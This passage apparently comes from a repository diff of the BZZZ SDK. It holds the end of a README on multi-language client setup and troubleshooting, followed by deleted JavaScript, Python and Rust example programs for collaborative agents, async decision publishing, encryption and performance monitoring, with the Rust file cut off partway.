console.log(`Started collaboration: ${collaboration.id}`);
});
agent.initialize().then(() => {
return agent.start();
});
```
## Rust Examples
### Prerequisites
```bash
# Install Rust 1.70 or later
rustc --version
# Add to Cargo.toml
[dependencies]
bzzz-sdk = "2.0"
tokio = { version = "1.0", features = ["full"] }
tracing = "0.1"
tracing-subscriber = "0.3"
serde = { version = "1.0", features = ["derive"] }
```
### Examples
#### 1. Performance Monitor (`rust/performance-monitor.rs`)
**Purpose**: High-performance system monitoring
**Features**:
- Concurrent metrics collection
- Performance trend analysis
- System health assessment
- Alert generation
- Efficient data processing
**Run**:
```bash
cd examples/sdk/rust
cargo run --bin performance-monitor
```
**Architecture Highlights**:
- **Async/Concurrent**: Uses Tokio for high-performance async operations
- **Memory Efficient**: Bounded collections with retention policies
- **Type Safe**: Full Rust type safety with serde serialization
- **Production Ready**: Comprehensive error handling and logging
**Performance Features**:
- **Metrics Collection**: System metrics every 10 seconds
- **Trend Analysis**: Statistical analysis of performance trends
- **Health Scoring**: Composite health scores with component breakdown
- **Alert System**: Configurable thresholds with alert generation
## Common Patterns
### Client Initialization
All examples follow similar initialization patterns:
**Go**:
```go
client, err := bzzz.NewClient(bzzz.Config{
Endpoint: "http://localhost:8080",
Role: "your_role",
Timeout: 30 * time.Second,
})
if err != nil {
log.Fatal(err)
}
defer client.Close()
```
**Python**:
```python
client = BzzzClient(
endpoint="http://localhost:8080",
role="your_role",
timeout=30.0
)
# Use async context manager for proper cleanup
async with client:
# Your code here
pass
```
**JavaScript**:
```javascript
const client = new BzzzClient({
endpoint: 'http://localhost:8080',
role: 'your_role',
timeout: 30000
});
// Proper cleanup
process.on('SIGINT', async () => {
await client.close();
process.exit(0);
});
```
**Rust**:
```rust
let client = BzzzClient::new(Config {
endpoint: "http://localhost:8080".to_string(),
role: "your_role".to_string(),
timeout: Duration::from_secs(30),
..Default::default()
}).await?;
```
### Error Handling
Each language demonstrates proper error handling:
- **Go**: Explicit error checking with wrapped errors
- **Python**: Exception handling with custom exception types
- **JavaScript**: Promise-based error handling with try/catch
- **Rust**: Result types with proper error propagation
### Event Processing
All examples show event streaming patterns:
1. **Subscribe** to event streams
2. **Process** events in async loops
3. **Handle** different event types appropriately
4. **Cleanup** subscriptions on shutdown
## Production Considerations
### Security
- Never log private keys or sensitive content
- Validate all inputs from external systems
- Use secure credential storage (environment variables, secret management)
- Implement proper access controls
### Performance
- Use connection pooling for high-throughput applications
- Implement backoff strategies for failed operations
- Monitor resource usage and implement proper cleanup
- Consider batching operations where appropriate
### Reliability
- Implement proper error handling and retry logic
- Use circuit breakers for external dependencies
- Implement graceful shutdown procedures
- Add comprehensive logging for debugging
### Monitoring
- Track key performance metrics
- Implement health checks
- Monitor error rates and response times
- Set up alerts for critical failures
## Troubleshooting
### Connection Issues
```bash
# Check BZZZ node is running
curl http://localhost:8080/api/agent/status
# Verify network connectivity
telnet localhost 8080
```
### Permission Errors
- Verify your role has appropriate permissions
- Check Age key configuration
- Confirm role definitions in BZZZ configuration
### Performance Issues
- Monitor network latency to BZZZ node
- Check resource usage (CPU, memory)
- Verify proper cleanup of connections
- Consider connection pooling for high load
## Contributing
To add new examples:
1. Create appropriate language directory structure
2. Include comprehensive documentation
3. Add error handling and cleanup
4. Test with different BZZZ configurations
5. Update this README with new examples
## Cross-References
- **SDK Documentation**: [../docs/BZZZv2B-SDK.md](../docs/BZZZv2B-SDK.md)
- **API Reference**: [../docs/API_REFERENCE.md](../docs/API_REFERENCE.md)
- **User Manual**: [../docs/USER_MANUAL.md](../docs/USER_MANUAL.md)
- **Developer Guide**: [../docs/DEVELOPER.md](../docs/DEVELOPER.md)
---
**BZZZ SDK Examples v2.0** - Comprehensive examples demonstrating BZZZ integration across multiple programming languages with real-world patterns and best practices.

512
examples/sdk/javascript/collaborative-agent.js
View File

@@ -1,512 +0,0 @@
#!/usr/bin/env node
/**
* BZZZ SDK JavaScript Collaborative Agent Example
* ==============================================
*
* Demonstrates building a collaborative agent using BZZZ SDK for Node.js.
* Shows real-time coordination, decision sharing, and event-driven workflows.
*/
const { BzzzClient, EventType, DecisionType } = require('bzzz-sdk');
const EventEmitter = require('events');
class CollaborativeAgent extends EventEmitter {
constructor(config) {
super();
this.config = {
endpoint: 'http://localhost:8080',
role: 'frontend_developer',
agentId: 'collaborative-agent-js',
...config
};
this.client = null;
this.isRunning = false;
this.stats = {
eventsProcessed: 0,
decisionsPublished: 0,
collaborationsStarted: 0,
tasksCompleted: 0
};
this.collaborationQueue = [];
this.activeCollaborations = new Map();
}
async initialize() {
console.log('🚀 Initializing BZZZ Collaborative Agent');
try {
// Create BZZZ client
this.client = new BzzzClient({
endpoint: this.config.endpoint,
role: this.config.role,
agentId: this.config.agentId,
timeout: 30000,
retryCount: 3
});
// Test connection
const status = await this.client.getStatus();
console.log(`✅ Connected as ${status.agentId} (${status.role})`);
console.log(` Node ID: ${status.nodeId}`);
console.log(` Authority: ${status.authorityLevel}`);
console.log(` Can decrypt: ${status.canDecrypt.join(', ')}`);
return true;
} catch (error) {
console.error('❌ Failed to initialize BZZZ client:', error.message);
return false;
}
}
async start() {
console.log('🎯 Starting collaborative agent...');
this.isRunning = true;
// Set up event listeners
await this.setupEventListeners();
// Start background tasks
this.startBackgroundTasks();
// Announce availability
await this.announceAvailability();
console.log('✅ Collaborative agent is running');
console.log(' Use Ctrl+C to stop');
}
async setupEventListeners() {
console.log('🎧 Setting up event listeners...');
try {
// System events
const eventStream = this.client.subscribeEvents();
eventStream.on('event', (event) => this.handleSystemEvent(event));
eventStream.on('error', (error) => console.error('Event stream error:', error));
// Decision stream for collaboration opportunities
const decisionStream = this.client.decisions.streamDecisions({
contentType: 'decision',
// Listen to all roles for collaboration opportunities
});
decisionStream.on('decision', (decision) => this.handleDecision(decision));
decisionStream.on('error', (error) => console.error('Decision stream error:', error));
console.log('✅ Event listeners configured');
} catch (error) {
console.error('❌ Failed to setup event listeners:', error.message);
}
}
startBackgroundTasks() {
// Process collaboration queue
setInterval(() => this.processCollaborationQueue(), 5000);
// Publish status updates
setInterval(() => this.publishStatusUpdate(), 30000);
// Clean up old collaborations
setInterval(() => this.cleanupCollaborations(), 60000);
// Simulate autonomous work
setInterval(() => this.simulateAutonomousWork(), 45000);
}
async handleSystemEvent(event) {
this.stats.eventsProcessed++;
switch (event.type) {
case EventType.DECISION_PUBLISHED:
await this.handleDecisionPublished(event);
break;
case EventType.PEER_CONNECTED:
await this.handlePeerConnected(event);
break;
case EventType.ADMIN_CHANGED:
console.log(`👑 Admin changed: ${event.data.oldAdmin} → ${event.data.newAdmin}`);
break;
default:
console.log(`📡 System event: ${event.type}`);
}
}
async handleDecisionPublished(event) {
const { address, creatorRole, contentType } = event.data;
// Check if this decision needs collaboration
if (await this.needsCollaboration(event.data)) {
console.log(`🤝 Collaboration opportunity: ${address}`);
this.collaborationQueue.push({
address,
creatorRole,
contentType,
timestamp: new Date(),
priority: this.calculatePriority(event.data)
});
}
}
async handlePeerConnected(event) {
const { agentId, role } = event.data;
console.log(`🌐 New peer connected: ${agentId} (${role})`);
// Check if this peer can help with pending collaborations
await this.checkCollaborationOpportunities(role);
}
async handleDecision(decision) {
console.log(`📋 Decision received: ${decision.task} from ${decision.role}`);
// Analyze decision for collaboration potential
if (this.canContribute(decision)) {
await this.offerCollaboration(decision);
}
}
async needsCollaboration(eventData) {
// Simple heuristic: collaboration needed for architectural decisions
// or when content mentions frontend/UI concerns
return eventData.contentType === 'architectural' ||
(eventData.summary && eventData.summary.toLowerCase().includes('frontend')) ||
(eventData.summary && eventData.summary.toLowerCase().includes('ui'));
}
calculatePriority(eventData) {
let priority = 1;
if (eventData.contentType === 'architectural') priority += 2;
if (eventData.creatorRole === 'senior_software_architect') priority += 1;
if (eventData.summary && eventData.summary.includes('urgent')) priority += 3;
return Math.min(priority, 5); // Cap at 5
}
canContribute(decision) {
const frontendKeywords = ['react', 'vue', 'angular', 'frontend', 'ui', 'css', 'javascript'];
const content = decision.decision.toLowerCase();
return frontendKeywords.some(keyword => content.includes(keyword));
}
async processCollaborationQueue() {
if (this.collaborationQueue.length === 0) return;
// Sort by priority and age
this.collaborationQueue.sort((a, b) => {
const priorityDiff = b.priority - a.priority;
if (priorityDiff !== 0) return priorityDiff;
return a.timestamp - b.timestamp; // Earlier timestamp = higher priority
});
// Process top collaboration
const collaboration = this.collaborationQueue.shift();
await this.startCollaboration(collaboration);
}
async startCollaboration(collaboration) {
console.log(`🤝 Starting collaboration: ${collaboration.address}`);
this.stats.collaborationsStarted++;
try {
// Get the original decision content
const content = await this.client.decisions.getContent(collaboration.address);
// Analyze and provide frontend perspective
const frontendAnalysis = await this.analyzeFrontendImpact(content);
// Publish collaborative response
await this.client.decisions.publishArchitectural({
task: `frontend_analysis_${collaboration.address.split('/').pop()}`,
decision: `Frontend impact analysis for: ${content.task}`,
rationale: frontendAnalysis.rationale,
alternatives: frontendAnalysis.alternatives,
implications: frontendAnalysis.implications,
nextSteps: frontendAnalysis.nextSteps
});
console.log(`✅ Published frontend analysis for ${collaboration.address}`);
this.stats.decisionsPublished++;
// Track active collaboration
this.activeCollaborations.set(collaboration.address, {
startTime: new Date(),
status: 'active',
contributions: 1
});
} catch (error) {
console.error(`❌ Failed to start collaboration: ${error.message}`);
}
}
async analyzeFrontendImpact(content) {
// Simulate frontend analysis based on the content
const analysis = {
rationale: "Frontend perspective analysis",
alternatives: [],
implications: [],
nextSteps: []
};
const contentLower = content.decision.toLowerCase();
if (contentLower.includes('api') || contentLower.includes('service')) {
analysis.rationale = "API changes will require frontend integration updates";
analysis.implications.push("Frontend API client needs updating");
analysis.implications.push("UI loading states may need adjustment");
analysis.nextSteps.push("Update API client interfaces");
analysis.nextSteps.push("Test error handling in UI");
}
if (contentLower.includes('database') || contentLower.includes('schema')) {
analysis.implications.push("Data models in frontend may need updates");
analysis.nextSteps.push("Review frontend data validation");
analysis.nextSteps.push("Update TypeScript interfaces if applicable");
}
if (contentLower.includes('security') || contentLower.includes('auth')) {
analysis.implications.push("Authentication flow in UI requires review");
analysis.nextSteps.push("Update login/logout components");
analysis.nextSteps.push("Review JWT handling in frontend");
}
// Add some alternatives
analysis.alternatives.push("Progressive rollout with feature flags");
analysis.alternatives.push("A/B testing for UI changes");
return analysis;
}
async offerCollaboration(decision) {
console.log(`💡 Offering collaboration on: ${decision.task}`);
// Create a collaboration offer
await this.client.decisions.publishCode({
task: `collaboration_offer_${Date.now()}`,
decision: `Frontend developer available for collaboration on: ${decision.task}`,
filesModified: [], // No files yet
linesChanged: 0,
testResults: {
passed: 0,
failed: 0,
coverage: 0
},
language: 'javascript'
});
}
async checkCollaborationOpportunities(peerRole) {
// If a senior architect joins, they might want to collaborate
if (peerRole === 'senior_software_architect' && this.collaborationQueue.length > 0) {
console.log(`🎯 Senior architect available - prioritizing collaborations`);
// Boost priority of architectural collaborations
this.collaborationQueue.forEach(collab => {
if (collab.contentType === 'architectural') {
collab.priority = Math.min(collab.priority + 1, 5);
}
});
}
}
async simulateAutonomousWork() {
if (!this.isRunning) return;
console.log('🔄 Performing autonomous frontend work...');
const tasks = [
'optimize_bundle_size',
'update_component_library',
'improve_accessibility',
'refactor_styling',
'add_responsive_design'
];
const randomTask = tasks[Math.floor(Math.random() * tasks.length)];
try {
await this.client.decisions.publishCode({
task: randomTask,
decision: `Autonomous frontend improvement: ${randomTask.replace(/_/g, ' ')}`,
filesModified: [
`src/components/${randomTask}.js`,
`src/styles/${randomTask}.css`,
`tests/${randomTask}.test.js`
],
linesChanged: Math.floor(Math.random() * 100) + 20,
testResults: {
passed: Math.floor(Math.random() * 10) + 5,
failed: Math.random() < 0.1 ? 1 : 0,
coverage: Math.random() * 20 + 80
},
language: 'javascript'
});
this.stats.tasksCompleted++;
console.log(`✅ Completed autonomous task: ${randomTask}`);
} catch (error) {
console.error(`❌ Failed autonomous task: ${error.message}`);
}
}
async publishStatusUpdate() {
if (!this.isRunning) return;
try {
await this.client.decisions.publishSystemStatus({
status: "Collaborative agent operational",
metrics: {
eventsProcessed: this.stats.eventsProcessed,
decisionsPublished: this.stats.decisionsPublished,
collaborationsStarted: this.stats.collaborationsStarted,
tasksCompleted: this.stats.tasksCompleted,
activeCollaborations: this.activeCollaborations.size,
queueLength: this.collaborationQueue.length
},
healthChecks: {
client_connected: !!this.client,
event_streaming: this.isRunning,
collaboration_system: this.collaborationQueue.length < 10
}
});
} catch (error) {
console.error(`❌ Failed to publish status: ${error.message}`);
}
}
async announceAvailability() {
try {
await this.client.decisions.publishArchitectural({
task: 'agent_availability',
decision: 'Collaborative frontend agent is now available',
rationale: 'Providing frontend expertise and collaboration capabilities',
implications: [
'Can analyze frontend impact of backend changes',
'Available for UI/UX collaboration',
'Monitors for frontend-related decisions'
],
nextSteps: [
'Listening for collaboration opportunities',
'Ready to provide frontend perspective',
'Autonomous frontend improvement tasks active'
]
});
console.log('📢 Announced availability to BZZZ network');
} catch (error) {
console.error(`❌ Failed to announce availability: ${error.message}`);
}
}
async cleanupCollaborations() {
const now = new Date();
const oneHour = 60 * 60 * 1000;
for (const [address, collaboration] of this.activeCollaborations) {
if (now - collaboration.startTime > oneHour) {
console.log(`🧹 Cleaning up old collaboration: ${address}`);
this.activeCollaborations.delete(address);
}
}
// Also clean up old queue items
this.collaborationQueue = this.collaborationQueue.filter(
collab => now - collab.timestamp < oneHour
);
}
printStats() {
console.log('\n📊 Agent Statistics:');
console.log(` Events processed: ${this.stats.eventsProcessed}`);
console.log(` Decisions published: ${this.stats.decisionsPublished}`);
console.log(` Collaborations started: ${this.stats.collaborationsStarted}`);
console.log(` Tasks completed: ${this.stats.tasksCompleted}`);
console.log(` Active collaborations: ${this.activeCollaborations.size}`);
console.log(` Queue length: ${this.collaborationQueue.length}`);
}
async stop() {
console.log('\n🛑 Stopping collaborative agent...');
this.isRunning = false;
try {
// Publish shutdown notice
await this.client.decisions.publishSystemStatus({
status: "Collaborative agent shutting down",
metrics: this.stats,
healthChecks: {
client_connected: false,
event_streaming: false,
collaboration_system: false
}
});
// Close client connection
if (this.client) {
await this.client.close();
}
this.printStats();
console.log('✅ Collaborative agent stopped gracefully');
} catch (error) {
console.error(`❌ Error during shutdown: ${error.message}`);
}
}
}
// Main execution
async function main() {
const agent = new CollaborativeAgent({
role: 'frontend_developer',
agentId: 'collaborative-frontend-js'
});
// Handle graceful shutdown
process.on('SIGINT', async () => {
console.log('\n🔄 Received shutdown signal...');
await agent.stop();
process.exit(0);
});
try {
// Initialize and start the agent
if (await agent.initialize()) {
await agent.start();
// Keep running until stopped
process.on('SIGTERM', () => {
agent.stop().then(() => process.exit(0));
});
} else {
console.error('❌ Failed to initialize collaborative agent');
process.exit(1);
}
} catch (error) {
console.error('❌ Unexpected error:', error.message);
process.exit(1);
}
}
// Export for use as module
module.exports = CollaborativeAgent;
// Run if called directly
if (require.main === module) {
main().catch(error => {
console.error('❌ Fatal error:', error);
process.exit(1);
});
}

429
examples/sdk/python/async_client.py
View File

@@ -1,429 +0,0 @@
#!/usr/bin/env python3
"""
BZZZ SDK Python Async Client Example
====================================
Demonstrates asynchronous operations with the BZZZ SDK Python bindings.
Shows decision publishing, event streaming, and collaborative workflows.
"""
import asyncio
import json
import logging
import sys
from datetime import datetime, timedelta
from typing import Dict, List, Any, Optional
# BZZZ SDK imports (would be installed via pip install bzzz-sdk)
try:
from bzzz_sdk import BzzzClient, DecisionType, EventType
from bzzz_sdk.decisions import CodeDecision, ArchitecturalDecision, TestResults
from bzzz_sdk.crypto import AgeKeyPair
from bzzz_sdk.exceptions import BzzzError, PermissionError, NetworkError
except ImportError:
print("⚠️ BZZZ SDK not installed. Run: pip install bzzz-sdk")
print(" This example shows the expected API structure")
sys.exit(1)
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
class BzzzAsyncExample:
"""Comprehensive async example using BZZZ SDK"""
def __init__(self, endpoint: str = "http://localhost:8080"):
self.endpoint = endpoint
self.client: Optional[BzzzClient] = None
self.event_count = 0
self.decision_count = 0
async def initialize(self, role: str = "backend_developer"):
"""Initialize the BZZZ client connection"""
try:
self.client = BzzzClient(
endpoint=self.endpoint,
role=role,
timeout=30.0,
max_retries=3
)
# Test connection
status = await self.client.get_status()
logger.info(f"✅ Connected as {status.agent_id} ({status.role})")
logger.info(f" Node ID: {status.node_id}")
logger.info(f" Authority: {status.authority_level}")
logger.info(f" Can decrypt: {status.can_decrypt}")
return True
except NetworkError as e:
logger.error(f"❌ Network error connecting to BZZZ: {e}")
return False
except BzzzError as e:
logger.error(f"❌ BZZZ error during initialization: {e}")
return False
async def example_basic_operations(self):
"""Example 1: Basic client operations"""
logger.info("📋 Example 1: Basic Operations")
try:
# Get status
status = await self.client.get_status()
logger.info(f" Status: {status.role} with {status.active_tasks} active tasks")
# Get peers
peers = await self.client.get_peers()
logger.info(f" Connected peers: {len(peers)}")
for peer in peers[:3]: # Show first 3
logger.info(f" - {peer.agent_id} ({peer.role})")
# Get capabilities
capabilities = await self.client.get_capabilities()
logger.info(f" Capabilities: {capabilities.capabilities}")
logger.info(f" Models: {capabilities.models}")
except BzzzError as e:
logger.error(f" ❌ Basic operations failed: {e}")
async def example_decision_publishing(self):
"""Example 2: Publishing different types of decisions"""
logger.info("📝 Example 2: Decision Publishing")
try:
# Publish code decision
code_decision = await self.client.decisions.publish_code(
task="implement_async_client",
decision="Implemented Python async client with comprehensive examples",
files_modified=[
"examples/sdk/python/async_client.py",
"bzzz_sdk/client.py",
"tests/test_async_client.py"
],
lines_changed=250,
test_results=TestResults(
passed=15,
failed=0,
skipped=1,
coverage=94.5,
failed_tests=[]
),
dependencies=[
"asyncio",
"aiohttp",
"websockets"
],
language="python"
)
logger.info(f" ✅ Code decision published: {code_decision.address}")
# Publish architectural decision
arch_decision = await self.client.decisions.publish_architectural(
task="design_async_architecture",
decision="Adopt asyncio-based architecture for better concurrency",
rationale="Async operations improve performance for I/O-bound tasks",
alternatives=[
"Threading-based approach",
"Synchronous with process pools",
"Hybrid sync/async model"
],
implications=[
"Requires Python 3.7+",
"All network operations become async",
"Better resource utilization",
"More complex error handling"
],
next_steps=[
"Update all SDK methods to async",
"Add async connection pooling",
"Implement proper timeout handling",
"Add async example documentation"
]
)
logger.info(f" ✅ Architectural decision published: {arch_decision.address}")
except PermissionError as e:
logger.error(f" ❌ Permission denied publishing decision: {e}")
except BzzzError as e:
logger.error(f" ❌ Decision publishing failed: {e}")
async def example_event_streaming(self, duration: int = 30):
"""Example 3: Real-time event streaming"""
logger.info(f"🎧 Example 3: Event Streaming ({duration}s)")
try:
# Subscribe to all events
event_stream = self.client.subscribe_events()
# Subscribe to specific role decisions
decision_stream = self.client.decisions.stream_decisions(
role="backend_developer",
content_type="decision"
)
# Process events for specified duration
end_time = datetime.now() + timedelta(seconds=duration)
while datetime.now() < end_time:
try:
# Wait for events with timeout
event = await asyncio.wait_for(event_stream.get_event(), timeout=1.0)
await self.handle_event(event)
except asyncio.TimeoutError:
# Check for decisions
try:
decision = await asyncio.wait_for(decision_stream.get_decision(), timeout=0.1)
await self.handle_decision(decision)
except asyncio.TimeoutError:
continue
logger.info(f" 📊 Processed {self.event_count} events, {self.decision_count} decisions")
except BzzzError as e:
logger.error(f" ❌ Event streaming failed: {e}")
async def handle_event(self, event):
"""Handle incoming system events"""
self.event_count += 1
event_handlers = {
EventType.DECISION_PUBLISHED: self.handle_decision_published,
EventType.ADMIN_CHANGED: self.handle_admin_changed,
EventType.PEER_CONNECTED: self.handle_peer_connected,
EventType.PEER_DISCONNECTED: self.handle_peer_disconnected
}
handler = event_handlers.get(event.type, self.handle_unknown_event)
await handler(event)
async def handle_decision_published(self, event):
"""Handle decision published events"""
logger.info(f" 📝 Decision published: {event.data.get('address', 'unknown')}")
logger.info(f" Creator: {event.data.get('creator_role', 'unknown')}")
async def handle_admin_changed(self, event):
"""Handle admin change events"""
old_admin = event.data.get('old_admin', 'unknown')
new_admin = event.data.get('new_admin', 'unknown')
reason = event.data.get('election_reason', 'unknown')
logger.info(f" 👑 Admin changed: {old_admin} -> {new_admin} ({reason})")
async def handle_peer_connected(self, event):
"""Handle peer connection events"""
agent_id = event.data.get('agent_id', 'unknown')
role = event.data.get('role', 'unknown')
logger.info(f" 🌐 Peer connected: {agent_id} ({role})")
async def handle_peer_disconnected(self, event):
"""Handle peer disconnection events"""
agent_id = event.data.get('agent_id', 'unknown')
logger.info(f" 🔌 Peer disconnected: {agent_id}")
async def handle_unknown_event(self, event):
"""Handle unknown event types"""
logger.info(f" ❓ Unknown event: {event.type}")
async def handle_decision(self, decision):
"""Handle incoming decisions"""
self.decision_count += 1
logger.info(f" 📋 Decision: {decision.task} - Success: {decision.success}")
async def example_crypto_operations(self):
"""Example 4: Cryptographic operations"""
logger.info("🔐 Example 4: Crypto Operations")
try:
# Generate Age key pair
key_pair = await self.client.crypto.generate_keys()
logger.info(f" 🔑 Generated Age key pair")
logger.info(f" Public: {key_pair.public_key[:20]}...")
logger.info(f" Private: {key_pair.private_key[:25]}...")
# Test encryption
test_content = "Sensitive Python development data"
# Encrypt for current role
encrypted = await self.client.crypto.encrypt_for_role(
content=test_content.encode(),
role="backend_developer"
)
logger.info(f" 🔒 Encrypted {len(test_content)} bytes -> {len(encrypted)} bytes")
# Decrypt content
decrypted = await self.client.crypto.decrypt_with_role(encrypted)
decrypted_text = decrypted.decode()
if decrypted_text == test_content:
logger.info(f" ✅ Decryption successful: {decrypted_text}")
else:
logger.error(f" ❌ Decryption mismatch")
# Check permissions
permissions = await self.client.crypto.get_permissions()
logger.info(f" 🛡️ Role permissions:")
logger.info(f" Current role: {permissions.current_role}")
logger.info(f" Can decrypt: {permissions.can_decrypt}")
logger.info(f" Authority: {permissions.authority_level}")
except BzzzError as e:
logger.error(f" ❌ Crypto operations failed: {e}")
async def example_query_operations(self):
"""Example 5: Querying and data retrieval"""
logger.info("📊 Example 5: Query Operations")
try:
# Query recent decisions
recent_decisions = await self.client.decisions.query_recent(
role="backend_developer",
project="bzzz_sdk",
since=datetime.now() - timedelta(hours=24),
limit=10
)
logger.info(f" 📋 Found {len(recent_decisions)} recent decisions")
for i, decision in enumerate(recent_decisions[:3]):
logger.info(f" {i+1}. {decision.task} - {decision.timestamp}")
logger.info(f" Success: {decision.success}")
# Get specific decision content
if recent_decisions:
first_decision = recent_decisions[0]
content = await self.client.decisions.get_content(first_decision.address)
logger.info(f" 📄 Decision content preview:")
logger.info(f" Address: {content.address}")
logger.info(f" Decision: {content.decision[:100]}...")
logger.info(f" Files modified: {len(content.files_modified or [])}")
except PermissionError as e:
logger.error(f" ❌ Permission denied querying decisions: {e}")
except BzzzError as e:
logger.error(f" ❌ Query operations failed: {e}")
async def example_collaborative_workflow(self):
"""Example 6: Collaborative workflow simulation"""
logger.info("🤝 Example 6: Collaborative Workflow")
try:
# Simulate a collaborative code review workflow
logger.info(" Starting collaborative code review...")
# Step 1: Announce code change
await self.client.decisions.publish_code(
task="refactor_authentication",
decision="Refactored authentication module for better security",
files_modified=[
"auth/jwt_handler.py",
"auth/middleware.py",
"tests/test_auth.py"
],
lines_changed=180,
test_results=TestResults(
passed=12,
failed=0,
coverage=88.0
),
language="python"
)
logger.info(" ✅ Step 1: Code change announced")
# Step 2: Request reviews (simulate)
await asyncio.sleep(1) # Simulate processing time
logger.info(" 📋 Step 2: Review requests sent to:")
logger.info(" - Senior Software Architect")
logger.info(" - Security Expert")
logger.info(" - QA Engineer")
# Step 3: Simulate review responses
await asyncio.sleep(2)
reviews_completed = 0
# Simulate architect review
await self.client.decisions.publish_architectural(
task="review_auth_refactor",
decision="Architecture review approved with minor suggestions",
rationale="Refactoring improves separation of concerns",
next_steps=["Add input validation documentation"]
)
reviews_completed += 1
logger.info(f" ✅ Step 3.{reviews_completed}: Architect review completed")
# Step 4: Aggregate and finalize
await asyncio.sleep(1)
logger.info(" 📊 Step 4: All reviews completed")
logger.info(" Status: APPROVED with minor changes")
logger.info(" Next steps: Address documentation suggestions")
except BzzzError as e:
logger.error(f" ❌ Collaborative workflow failed: {e}")
async def run_all_examples(self):
"""Run all examples in sequence"""
logger.info("🚀 Starting BZZZ SDK Python Async Examples")
logger.info("=" * 60)
examples = [
self.example_basic_operations,
self.example_decision_publishing,
self.example_crypto_operations,
self.example_query_operations,
self.example_collaborative_workflow,
# Note: event_streaming runs last as it takes time
]
for example in examples:
try:
await example()
await asyncio.sleep(0.5) # Brief pause between examples
except Exception as e:
logger.error(f"❌ Example {example.__name__} failed: {e}")
# Run event streaming for a shorter duration
await self.example_event_streaming(duration=10)
logger.info("=" * 60)
logger.info("✅ All BZZZ SDK Python examples completed")
async def cleanup(self):
"""Clean up resources"""
if self.client:
await self.client.close()
logger.info("🧹 Client connection closed")
async def main():
"""Main entry point"""
example = BzzzAsyncExample()
try:
# Initialize connection
if not await example.initialize("backend_developer"):
logger.error("Failed to initialize BZZZ client")
return 1
# Run all examples
await example.run_all_examples()
except KeyboardInterrupt:
logger.info("\n🛑 Examples interrupted by user")
except Exception as e:
logger.error(f"❌ Unexpected error: {e}")
return 1
finally:
await example.cleanup()
return 0
if __name__ == "__main__":
# Run the async example
exit_code = asyncio.run(main())
sys.exit(exit_code)

587
examples/sdk/rust/performance-monitor.rs
View File

@@ -1,587 +0,0 @@
/*!
* BZZZ SDK Rust Performance Monitor Example
* =========================================
*
* Demonstrates high-performance monitoring and metrics collection using BZZZ SDK for Rust.
* Shows async operations, custom metrics, and efficient data processing.
*/
use std::collections::HashMap;
use std::sync::Arc;
use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH};
use tokio::sync::{Mutex, mpsc};
use tokio::time::interval;
use serde::{Deserialize, Serialize};
use tracing::{info, warn, error, debug};
use tracing_subscriber;
// BZZZ SDK imports (would be from crates.io: bzzz-sdk = "2.0")
use bzzz_sdk::{BzzzClient, Config as BzzzConfig};
use bzzz_sdk::decisions::{CodeDecision, TestResults, DecisionClient};
use bzzz_sdk::dht::{DhtClient, DhtMetrics};
use bzzz_sdk::crypto::CryptoClient;
use bzzz_sdk::elections::ElectionClient;
#[derive(Debug, Clone, Serialize, Deserialize)]
struct PerformanceMetrics {
timestamp: u64,
cpu_usage: f64,
memory_usage: f64,
network_latency: f64,
dht_operations: u32,
crypto_operations: u32,
decision_throughput: u32,
error_count: u32,
}
#[derive(Debug, Clone, Serialize)]
struct SystemHealth {
overall_status: String,
component_health: HashMap<String, String>,
performance_score: f64,
alerts: Vec<String>,
}
struct PerformanceMonitor {
client: Arc<BzzzClient>,
decisions: Arc<DecisionClient>,
dht: Arc<DhtClient>,
crypto: Arc<CryptoClient>,
elections: Arc<ElectionClient>,
metrics: Arc<Mutex<Vec<PerformanceMetrics>>>,
alert_sender: mpsc::Sender<String>,
is_running: Arc<Mutex<bool>>,
config: MonitorConfig,
}
#[derive(Debug, Clone)]
struct MonitorConfig {
collection_interval: Duration,
alert_threshold_cpu: f64,
alert_threshold_memory: f64,
alert_threshold_latency: f64,
metrics_retention: usize,
publish_interval: Duration,
}
impl Default for MonitorConfig {
fn default() -> Self {
Self {
collection_interval: Duration::from_secs(10),
alert_threshold_cpu: 80.0,
alert_threshold_memory: 85.0,
alert_threshold_latency: 1000.0,
metrics_retention: 1000,
publish_interval: Duration::from_secs(60),
}
}
}
impl PerformanceMonitor {
async fn new(endpoint: &str, role: &str) -> Result<Self, Box<dyn std::error::Error>> {
// Initialize tracing
tracing_subscriber::fmt::init();
info!("🚀 Initializing BZZZ Performance Monitor");
// Create BZZZ client
let client = Arc::new(BzzzClient::new(BzzzConfig {
endpoint: endpoint.to_string(),
role: role.to_string(),
timeout: Duration::from_secs(30),
retry_count: 3,
rate_limit: 100,
..Default::default()
}).await?);
// Create specialized clients
let decisions = Arc::new(DecisionClient::new(client.clone()));
let dht = Arc::new(DhtClient::new(client.clone()));
let crypto = Arc::new(CryptoClient::new(client.clone()));
let elections = Arc::new(ElectionClient::new(client.clone()));
// Test connection
let status = client.get_status().await?;
info!("✅ Connected to BZZZ node");
info!(" Node ID: {}", status.node_id);
info!(" Agent ID: {}", status.agent_id);
info!(" Role: {}", status.role);
let (alert_sender, _) = mpsc::channel(100);
Ok(Self {
client,
decisions,
dht,
crypto,
elections,
metrics: Arc::new(Mutex::new(Vec::new())),
alert_sender,
is_running: Arc::new(Mutex::new(false)),
config: MonitorConfig::default(),
})
}
async fn start_monitoring(&self) -> Result<(), Box<dyn std::error::Error>> {
info!("📊 Starting performance monitoring...");
{
let mut is_running = self.is_running.lock().await;
*is_running = true;
}
// Spawn monitoring tasks
let monitor_clone = self.clone_for_task();
let metrics_task = tokio::spawn(async move {
monitor_clone.metrics_collection_loop().await;
});
let monitor_clone = self.clone_for_task();
let analysis_task = tokio::spawn(async move {
monitor_clone.performance_analysis_loop().await;
});
let monitor_clone = self.clone_for_task();
let publish_task = tokio::spawn(async move {
monitor_clone.metrics_publishing_loop().await;
});
let monitor_clone = self.clone_for_task();
let health_task = tokio::spawn(async move {
monitor_clone.health_monitoring_loop().await;
});
info!("✅ Monitoring tasks started");
info!(" Metrics collection: every {:?}", self.config.collection_interval);
info!(" Publishing interval: every {:?}", self.config.publish_interval);
// Wait for tasks (in a real app, you'd handle shutdown signals)
tokio::try_join!(metrics_task, analysis_task, publish_task, health_task)?;
Ok(())
}
fn clone_for_task(&self) -> Self {
Self {
client: self.client.clone(),
decisions: self.decisions.clone(),
dht: self.dht.clone(),
crypto: self.crypto.clone(),
elections: self.elections.clone(),
metrics: self.metrics.clone(),
alert_sender: self.alert_sender.clone(),
is_running: self.is_running.clone(),
config: self.config.clone(),
}
}
async fn metrics_collection_loop(&self) {
